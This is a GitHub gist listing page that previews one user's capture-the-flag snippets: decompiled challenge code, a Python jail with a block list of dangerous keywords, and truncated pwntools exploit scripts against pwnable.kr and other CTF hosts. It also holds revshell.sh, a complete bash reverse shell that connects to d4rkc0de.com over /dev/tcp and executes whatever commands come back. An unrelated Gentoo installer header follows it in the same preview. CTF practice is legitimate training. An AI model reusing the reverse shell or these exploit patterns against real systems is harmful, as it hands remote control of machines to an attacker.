Skip to content

Instantly share code, notes, and snippets.

View lionaneesh's full-sized avatar
🎯
Focusing

Aneesh Dogra lionaneesh

🎯
Focusing
View GitHub Profile
@lionaneesh
lionaneesh / rms-fixed.c
Created September 23, 2019 15:45
rms-fixed, source code from Dragon CTF 2019
void *__fastcall fetch(void *url_1)
{
int v1; // eax
char *v2; // rax
__int64 v3; // rdx
int *v4; // rax
void *dest; // ST78_8
uint16_t port_network; // [rsp+1Ah] [rbp-116h]
int portnumber; // [rsp+1Ch] [rbp-114h]
char *hostname; // [rsp+20h] [rbp-110h]
@lionaneesh
lionaneesh / rms-fixed-make_request.c
Created September 23, 2019 16:03
rms-fixed, make_request, from DragonCTF 2019
signed __int64 __fastcall make_request(const struct sockaddr *a1, socklen_t a2, char *a3, char *a4, void **a5, _QWORD *a6)
{
int *v6; // rax
signed __int64 result; // rax
int *v8; // rax
size_t v9; // rax
int *v10; // rax
size_t v11; // rax
int *v12; // rax
int *v13; // rax
@lionaneesh
lionaneesh / pyjail.py
Created November 5, 2019 10:50
pyjail, N-CTF 2019
#! /usr/bin/python3
#-*- coding:utf-8 -*-
def main():
print("Hi! Welcome to pyjail!")
print("========================================================================")
print(open(__file__).read())
print("========================================================================")
print("RUN")
text = input('>>> ')
for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
@lionaneesh
lionaneesh / solve_dragon.py
Created November 18, 2019 10:35
Solve the Dragon (rookiss) from pwnable.kr
from pwn import *
#r = process('./dragon')
r = remote("pwnable.kr", 9004)
win = p32(0x08048dbf)
def select_priest():
print r.recvuntil("[ 2 ] Knight")
r.send("1\n")
@lionaneesh
lionaneesh / solve_horcruxes.py
Last active November 28, 2019 08:32
Ropping Horcruxes, pwnable.kr
from pwn import *
import re
#r = process("/home/horcruxes/horcruxes")
r = remote('0.0.0.0', 9032)
print r.recvuntil("Select Menu:")
r.send("123\n")
print r.recvuntil("earned? : ")
a = p32(0x809fe4b)
b = p32(0x809fe6a)
c = p32(0x809fe89)
@lionaneesh
lionaneesh / emu_2_parse.py
Created December 23, 2019 10:57
Solution for EMU 2.0, X-Mas CTF 2019, parsing a custom 8bit RISC micro-processor.
state = {'a': 0, 'pc': 0x100}
mem = []
blocked_addrs = []
def parse_opcode(opcode, arg):
global state
global mem
global blocked_addrs
jumped = False
x = int(arg, base=16)
@lionaneesh
lionaneesh / revshell.sh
Created April 1, 2020 12:29
revshell.sh
exec 5<>/dev/tcp/d4rkc0de.com/2334
cat <&5 | while read line; do $line 2>&5 >&5; done
#!/usr/bin/env bash
NAME="Gentoo Install"
CODENAME="gentooinstall"
COPYRIGHT="Copyright (C) 2016 Nathan Shearer"
LICENSE="GNU General Public License 2.0"
VERSION="2.0.0.0"
function gentooinstall_architecture
{
@lionaneesh
lionaneesh / solve_saas.py
Created June 14, 2020 09:21
SaaS from Nahamcon CTF 2020
from pwn import *
r = remote('jh2i.com', 50016)
#r = process('./saas')
def syscall(a2):
print ("syscall", a2)
for a in a2:
txt = r.recv(timeout=2).strip()
print (txt.strip(), len(txt))
r.sendline(str(a))
@lionaneesh
lionaneesh / saas_final_solve.py
Created June 14, 2020 09:41
SaaS from NahamCon 2020
from pwn import *
r = remote('jh2i.com', 50016)
#r = process('./saas')
def syscall(a2):
print ("syscall", a2)
for a in a2:
txt = r.recv(timeout=2).strip()
print (txt.strip(), len(txt))
r.sendline(str(a))